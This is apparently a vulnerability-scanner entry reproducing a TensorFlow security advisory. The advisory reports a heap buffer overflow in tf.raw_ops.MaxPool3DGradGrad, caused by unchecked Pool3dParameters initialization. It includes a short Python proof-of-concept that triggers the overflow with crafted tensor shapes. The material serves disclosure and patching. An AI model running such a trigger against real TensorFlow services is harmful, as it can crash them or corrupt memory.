QID 982473

Security update has been released for tensorflow,tensorflow-cpu,tensorflow-gpu to fix the vulnerability.

Note: The preceding description block is extracted directly from the security advisory. Using automation, we have attempted to clean and format it as much as possible without introducing additional issues.

The implementation of `tf.raw_ops.MaxPool3DGradGrad` is vulnerable to a heap buffer overflow:

```python
import tensorflow as tf

values = [0.01] * 11
orig_input = tf.constant(values, shape=[11, 1, 1, 1, 1], dtype=tf.float32)
orig_output = tf.constant([0.01], shape=[1, 1, 1, 1, 1], dtype=tf.float32)
grad = tf.constant([0.01], shape=[1, 1, 1, 1, 1], dtype=tf.float32)
ksize = [1, 1, 1, 1, 1]
strides = [1, 1, 1, 1, 1]
padding = "SAME"

tf.raw_ops.MaxPool3DGradGrad(
orig_input=orig_input, orig_output=orig_output, grad=grad, ksize=ksize,
strides=strides, padding=padding)
```

The [implementation](https://github.com/tensorflow/tensorflow/blob/596c05a159b6fbb9e39ca10b3f7753b7244fa1e9/tensorflow/core/kernels/pooling_ops_3d.cc#L694-L696) does not check that the initialization of `Pool3dParameters` completes successfully:

```cc
Pool3dParameters params{context, ksize_, stride_,
padding_, data_format_, tensor_in.shape()};
```

Since [the constructor](https://github.com/tensorflow/tensorflow/blob/596c05a159b6fbb9e39ca10b3f7753b7244fa1e9/tensorflow/core/kernels/pooling_ops_3d.cc#L48-L88) uses `OP_REQUIRES` to validate conditions, the first assertion that fails interrupts the initialization of `params`, making it contain invalid data. In turn, this might cause a heap buffer overflow, depending on default initialized values.